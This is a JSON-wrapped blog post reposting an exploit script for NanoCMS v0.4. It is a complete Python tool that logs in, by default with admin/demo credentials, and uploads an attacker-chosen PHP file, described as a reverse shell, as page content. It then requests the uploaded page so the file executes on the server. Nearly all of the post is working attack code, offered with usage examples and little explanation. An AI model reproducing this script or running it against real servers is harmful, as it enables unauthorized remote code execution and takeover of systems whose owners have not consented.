{"id":28836,"date":"2022-08-01T20:38:48","date_gmt":"2022-08-01T16:38:48","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167901\/nanocms04-exec.txt"},"modified":"2022-08-02T08:34:47","modified_gmt":"2022-08-02T04:04:47","slug":"nanocms-0-4-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/nanocms-0-4-remote-code-execution\/","title":{"rendered":"NanoCMS 0.4 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: NanoCMS v0.4 &#8211; Remote Code Execution (RCE) (Authenticated)<br \/>\n# Date: 2022-07-26<br \/>\n# Exploit Auuthor: p1ckzi<br \/>\n# Vendor Homepage: https:\/\/github.com\/kalyan02\/NanoCMS<br \/>\n# Version: NanoCMS v0.4<br \/>\n# Tested on: Linux Mint 20.3<br \/>\n# CVE: N\/A<br \/>\n#<br \/>\n# Description:<br \/>\n# this script uploads a php reverse shell to the target.<br \/>\n# NanoCMS does not sanitise the data of an authenticated user while creating<br \/>\n# webpages. pages are saved with .php extensions by default, allowing an<br \/>\n# authenticated attacker access to the underlying system:<br \/>\n# https:\/\/github.com\/ishell\/Exploits-Archives\/blob\/master\/2009-exploits\/0904-exploits\/nanocms-multi.txt<\/p>\n<p dir=\"ltr\">#!\/usr\/bin\/env python3<\/p>\n<p dir=\"ltr\">import argparse<br \/>\nimport bs4<br \/>\nimport errno<br \/>\nimport re<br \/>\nimport requests<br \/>\nimport secrets<br \/>\nimport sys<\/p>\n<p dir=\"ltr\">def arguments():<br \/>\nparser = argparse.ArgumentParser(<br \/>\nformatter_class=argparse.RawDescriptionHelpFormatter,<br \/>\ndescription=f&#8221;{sys.argv[0]} exploits authenticated file upload&#8221;<br \/>\n&#8220;\\nand remote code execution in NanoCMS v0.4&#8243;,<br \/>\nepilog=f&#8221;examples:&#8221;<br \/>\nf&#8221;\\n\\tpython3 {sys.argv[0]} http:\/\/10.10.10.10\/ rev.php&#8221;<br \/>\nf&#8221;\\n\\tpython3 {sys.argv[0]} http:\/\/hostname:8080 rev-shell.php -a&#8221;<br \/>\nf&#8221;\\n\\t.\/{sys.argv[0]} https:\/\/10.10.10.10 rev-shell -n -e -u &#8216;user'&#8221;<br \/>\n)<br \/>\nparser.add_argument(<br \/>\n&#8220;address&#8221;, help=&#8221;schema\/ip\/hostname, port, sub-directories&#8221;<br \/>\n&#8221; to the vulnerable NanoCMS server&#8221;<br \/>\n)<br \/>\nparser.add_argument(<br \/>\n&#8220;file&#8221;, help=&#8221;php file to upload&#8221;<br \/>\n)<br \/>\nparser.add_argument(<br \/>\n&#8220;-u&#8221;, &#8220;&#8211;user&#8221;, help=&#8221;username&#8221;, default=&#8221;admin&#8221;<br \/>\n)<br \/>\nparser.add_argument(<br \/>\n&#8220;-p&#8221;, &#8220;&#8211;passwd&#8221;, help=&#8221;password&#8221;, default=&#8221;demo&#8221;<br \/>\n)<br \/>\nparser.add_argument(<br \/>\n&#8220;-e&#8221;, &#8220;&#8211;execute&#8221;, help=&#8221;attempts to make a request to the uploaded&#8221;<br \/>\n&#8221; file (more useful if uploading a reverse shell)&#8221;,<br \/>\naction=&#8221;store_true&#8221;, default=False<br \/>\n)<br \/>\nparser.add_argument(<br \/>\n&#8220;-a&#8221;, &#8220;&#8211;accessible&#8221;, help=&#8221;turns off features&#8221;<br \/>\n&#8221; which may negatively affect screen readers&#8221;,<br \/>\naction=&#8221;store_true&#8221;, default=False<br \/>\n)<br \/>\nparser.add_argument(<br \/>\n&#8220;-n&#8221;, &#8220;&#8211;no-colour&#8221;, help=&#8221;removes colour output&#8221;,<br \/>\naction=&#8221;store_true&#8221;, default=False<br \/>\n)<br \/>\narguments.option = parser.parse_args()<\/p>\n<p dir=\"ltr\"># settings for terminal output defined by user in term_settings().<br \/>\nclass settings():<br \/>\n# colours.<br \/>\nc0 = &#8220;&#8221;<br \/>\nc1 = &#8220;&#8221;<br \/>\nc2 = &#8220;&#8221;<\/p>\n<p dir=\"ltr\"># information boxes.<br \/>\ni1 = &#8220;&#8221;<br \/>\ni2 = &#8220;&#8221;<br \/>\ni3 = &#8220;&#8221;<br \/>\ni4 = &#8220;&#8221;<\/p>\n<p dir=\"ltr\"># checks for terminal setting flags supplied by arguments().<br \/>\ndef term_settings():<br \/>\nif arguments.option.accessible:<br \/>\nsmall_banner()<br \/>\nelif arguments.option.no_colour:<br \/>\nsettings.i1 = &#8220;[+] &#8221;<br \/>\nsettings.i2 = &#8220;[!] &#8221;<br \/>\nsettings.i3 = &#8220;[i] &#8221;<br \/>\nsettings.i4 = &#8220;$ &#8221;<br \/>\nbanner()<br \/>\nelif not arguments.option.accessible or arguments.option.no_colour:<br \/>\nsettings.c0 = &#8220;\\u001b[0m&#8221; # reset.<br \/>\nsettings.c1 = &#8220;\\u001b[38;5;1m&#8221; # red.<br \/>\nsettings.c2 = &#8220;\\u001b[38;5;2m&#8221; # green.<br \/>\nsettings.i1 = &#8220;[+] &#8221;<br \/>\nsettings.i2 = &#8220;[!] &#8221;<br \/>\nsettings.i3 = &#8220;[i] &#8221;<br \/>\nsettings.i4 = &#8220;$ &#8221;<br \/>\nbanner()<br \/>\nelse:<br \/>\nprint(&#8220;something went horribly wrong!&#8221;)<br \/>\nsys.exit()<\/p>\n<p dir=\"ltr\"># default terminal banner (looks prettier when run lol)<br \/>\ndef banner():<br \/>\nprint(<br \/>\n&#8220;\\n .__ .__&#8221;<br \/>\n&#8221; .__ &#8221;<br \/>\n&#8220;\\n ____ _____ ____ ____ ____ _____ _____| |__ ____ | &#8221;<br \/>\n&#8220;| | | &#8221;<br \/>\n&#8220;\\n \/ \\\\__ \\\\ \/ \\\\ \/ _ \\\\_\/ ___\\\\ \/ \\\\ \/ ___\/ | \\\\_\/ &#8221;<br \/>\n&#8220;__ \\\\| | | | &#8221;<br \/>\n&#8220;\\n| | \\\\\/ __ \\\\| | ( &lt;_&gt; ) \\\\___| Y Y \\\\___ \\\\| Y \\\\ _&#8221;<br \/>\n&#8220;__\/| |_| |__&#8221;<br \/>\n&#8220;\\n|___| (____ \/___| \/\\\\____\/ \\\\___ &gt;__|_| \/____ &gt;___| \/\\\\___ &#8221;<br \/>\n&#8220;&gt;____\/____\/&#8221;<br \/>\n&#8220;\\n \\\\\/ \\\\\/ \\\\\/ \\\\\/ \\\\\/ \\\\\/ \\\\\/ &#8221;<br \/>\n&#8221; \\\\\/&#8221;<br \/>\n)<\/p>\n<p dir=\"ltr\">def small_banner():<br \/>\nprint(<br \/>\nf&#8221;{sys.argv[0]}&#8221;<br \/>\n&#8220;\\nNanoCMS authenticated file upload and rce&#8230;&#8221;<br \/>\n)<\/p>\n<p dir=\"ltr\"># appends a &#8216;\/&#8217; if not supplied at the end of the address.<br \/>\ndef address_check(address):<br \/>\ncheck = re.search(&#8216;\/$&#8217;, address)<br \/>\nif check is not None:<br \/>\nprint(&#8221;)<br \/>\nelse:<br \/>\narguments.option.address += &#8220;\/&#8221;<\/p>\n<p dir=\"ltr\"># creates a new filename for each upload.<br \/>\n# errors occur if the filename is the same as a previously uploaded one.<br \/>\ndef random_filename():<br \/>\nrandom_filename.name = secrets.token_hex(4)<\/p>\n<p dir=\"ltr\"># note: after a successful login, credentials are saved, so further reuse<br \/>\n# of the script will most likely not require correct credentials.<br \/>\ndef login(address, user, passwd):<br \/>\npost_header = {<br \/>\n&#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (X11; Linux x86_64; rv:91.0) &#8221;<br \/>\n&#8220;Gecko\/20100101 Firefox\/91.0&#8221;,<br \/>\n&#8220;Accept&#8221;: &#8220;text\/html,application\/xhtml+xml,&#8221;<br \/>\n&#8220;application\/xml;q=0.9,image\/webp,*\/*;q=0.8&#8221;,<br \/>\n&#8220;Accept-Language&#8221;: &#8220;en-US,en;q=0.5&#8221;,<br \/>\n&#8220;Accept-Encoding&#8221;: &#8220;gzip, deflate&#8221;,<br \/>\n&#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded&#8221;,<br \/>\n&#8220;Content-Length&#8221;: &#8220;&#8221;,<br \/>\n&#8220;Connection&#8221;: &#8220;close&#8221;,<br \/>\n&#8220;Referer&#8221;: f&#8221;{arguments.option.address}data\/nanoadmin.php&#8221;,<br \/>\n&#8220;Cookie&#8221;: &#8220;PHPSESSID=46ppbqohiobpvvu6olm51ejlq5&#8221;,<br \/>\n&#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;,<br \/>\n}<br \/>\npost_data = {<br \/>\n&#8220;user&#8221;: f&#8221;{user}&#8221;,<br \/>\n&#8220;pass&#8221;: f&#8221;{passwd}&#8221;<br \/>\n}<\/p>\n<p dir=\"ltr\">url_request = requests.post(<br \/>\naddress + &#8216;data\/nanoadmin.php?&#8217;,<br \/>\nheaders=post_header,<br \/>\ndata=post_data,<br \/>\nverify=False,<br \/>\ntimeout=30<br \/>\n)<br \/>\nsignin_error = url_request.text<br \/>\nif &#8216;Error : wrong Username or Password&#8217; in signin_error:<br \/>\nprint(<br \/>\nf&#8221;{settings.c1}{settings.i2}could &#8221;<br \/>\nf&#8221;sign in with {arguments.option.user}\/&#8221;<br \/>\nf&#8221;{arguments.option.passwd}.{settings.c0}&#8221;<br \/>\n)<br \/>\nsys.exit(1)<br \/>\nelse:<br \/>\nprint(<br \/>\nf&#8221;{settings.c2}{settings.i1}logged in successfully.&#8221;<br \/>\nf&#8221;{settings.c0}&#8221;<br \/>\n)<\/p>\n<p dir=\"ltr\">def exploit(address, file, name):<br \/>\nwith open(arguments.option.file, &#8216;r&#8217;) as file:<br \/>\nfile_contents = file.read().rstrip()<br \/>\npost_header = {<br \/>\n&#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (X11; Linux x86_64; rv:91.0) &#8221;<br \/>\n&#8220;Gecko\/20100101 Firefox\/91.0&#8221;,<br \/>\n&#8220;Accept&#8221;: &#8220;text\/html,application\/xhtml+xml,&#8221;<br \/>\n&#8220;application\/xml;q=0.9,image\/webp,*\/*;q=0.8&#8221;,<br \/>\n&#8220;Accept-Language&#8221;: &#8220;en-US,en;q=0.5&#8221;,<br \/>\n&#8220;Accept-Encoding&#8221;: &#8220;gzip, deflate&#8221;,<br \/>\n&#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded&#8221;,<br \/>\n&#8220;Content-Length&#8221;: &#8220;&#8221;,<br \/>\n&#8220;Connection&#8221;: &#8220;close&#8221;,<br \/>\n&#8220;Referer&#8221;: f&#8221;{arguments.option.address}data\/nanoadmin.php?action=&#8221;<br \/>\n&#8220;addpage&#8221;,<br \/>\n&#8220;Cookie&#8221;: &#8220;PHPSESSID=46ppbqohiobpvvu6olm51ejlq5&#8221;,<br \/>\n&#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;,<br \/>\n}<\/p>\n<p dir=\"ltr\">post_data = {<br \/>\n&#8220;title&#8221;: f&#8221;{random_filename.name}&#8221;,<br \/>\n&#8220;save&#8221;: &#8220;Add Page&#8221;,<br \/>\n&#8220;check_sidebar&#8221;: &#8220;sidebar&#8221;,<br \/>\n&#8220;content&#8221;: f&#8221;{file_contents}&#8221;<br \/>\n}<\/p>\n<p dir=\"ltr\">url_request = requests.post(<br \/>\naddress + &#8216;data\/nanoadmin.php?action=addpage&#8217;,<br \/>\nheaders=post_header,<br \/>\ndata=post_data,<br \/>\nverify=False,<br \/>\ntimeout=30<br \/>\n)<br \/>\nif url_request.status_code == 404:<br \/>\nprint(<br \/>\nf&#8221;{settings.c1}{settings.i2}{arguments.option.address} could &#8221;<br \/>\nf&#8221;not be uploaded.{settings.c0}&#8221;<br \/>\n)<br \/>\nsys.exit(1)<br \/>\nelse:<br \/>\nprint(<br \/>\nf&#8221;{settings.c2}{settings.i1}file posted.&#8221;<br \/>\nf&#8221;{settings.c0}&#8221;<br \/>\n)<\/p>\n<p dir=\"ltr\">print(<br \/>\nf&#8221;{settings.i3}if successful, file location should be at:&#8221;<br \/>\nf&#8221;\\n{address}data\/pages\/{random_filename.name}.php&#8221;<br \/>\n)<\/p>\n<p dir=\"ltr\">def execute(address, file, name):<br \/>\nprint(<br \/>\nf&#8221;{settings.i3}making web request to uploaded file.&#8221;<br \/>\n)<br \/>\nprint(<br \/>\nf&#8221;{settings.i3}check listener if reverse shell uploaded.&#8221;<br \/>\n)<br \/>\nurl_request = requests.get(<br \/>\naddress + f&#8217;data\/pages\/{random_filename.name}.php&#8217;,<br \/>\nverify=False<br \/>\n)<br \/>\nif url_request.status_code == 404:<br \/>\nprint(<br \/>\nf&#8221;{settings.c1}{settings.i2}{arguments.option.file} could &#8221;<br \/>\nf&#8221;not be found.&#8221;<br \/>\nf&#8221;\\n{settings.i2}antivirus may be blocking your upload.&#8221;<br \/>\nf&#8221;{settings.c0}&#8221;<br \/>\n)<br \/>\nelse:<br \/>\nsys.exit()<\/p>\n<p dir=\"ltr\">def main():<br \/>\ntry:<br \/>\narguments()<br \/>\nterm_settings()<br \/>\naddress_check(arguments.option.address)<br \/>\nrandom_filename()<br \/>\nif arguments.option.execute:<br \/>\nlogin(<br \/>\narguments.option.address,<br \/>\narguments.option.user,<br \/>\narguments.option.passwd<br \/>\n)<br \/>\nexploit(<br \/>\narguments.option.address,<br \/>\narguments.option.file,<br \/>\nrandom_filename.name,<br \/>\n)<br \/>\nexecute(<br \/>\narguments.option.address,<br \/>\narguments.option.file,<br \/>\nrandom_filename.name,<br \/>\n)<br \/>\nelse:<br \/>\nlogin(<br \/>\narguments.option.address,<br \/>\narguments.option.user,<br \/>\narguments.option.passwd<br \/>\n)<br \/>\nexploit(<br \/>\narguments.option.address,<br \/>\narguments.option.file,<br \/>\nrandom_filename.name,<br \/>\n)<br \/>\nexcept KeyboardInterrupt:<br \/>\nprint(f&#8221;\\n{settings.i3}quitting.&#8221;)<br \/>\nsys.exit()<br \/>\nexcept requests.exceptions.Timeout:<br \/>\nprint(<br \/>\nf&#8221;{settings.c1}{settings.i2}the request timed out &#8221;<br \/>\nf&#8221;while attempting to connect.{settings.c0}&#8221;<br \/>\n)<br \/>\nsys.exit()<br \/>\nexcept requests.ConnectionError:<br \/>\nprint(<br \/>\nf&#8221;{settings.c1}{settings.i2}could not connect &#8221;<br \/>\nf&#8221;to {arguments.option.address}{settings.c0}&#8221;<br \/>\n)<br \/>\nsys.exit()<br \/>\nexcept FileNotFoundError:<br \/>\nprint(<br \/>\nf&#8221;{settings.c1}{settings.i2}{arguments.option.file} &#8221;<br \/>\nf&#8221;could not be found.{settings.c0}&#8221;<br \/>\n)<br \/>\nexcept (<br \/>\nrequests.exceptions.MissingSchema,<br \/>\nrequests.exceptions.InvalidURL,<br \/>\nrequests.exceptions.InvalidSchema<br \/>\n):<br \/>\nprint(<br \/>\nf&#8221;{settings.c1}{settings.i2}a valid schema and address &#8221;<br \/>\nf&#8221;must be supplied.{settings.c0}&#8221;<br \/>\n)<br \/>\nsys.exit()<\/p>\n<p dir=\"ltr\">if __name__ == &#8220;__main__&#8221;:<br \/>\nmain()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: NanoCMS v0.4 &#8211; Remote Code Execution (RCE) (Authenticated) # Date: 2022-07-26 # Exploit Auuthor: p1ckzi # Vendor Homepage: https:\/\/github.com\/kalyan02\/NanoCMS # Version: NanoCMS v0.4 # Tested on: Linux Mint 20.3 # CVE: N\/A # # Description: # this script uploads a php reverse shell to the target. # NanoCMS does not sanitise the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28836","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28836","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28836"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28836\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28836"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28836"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28836"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}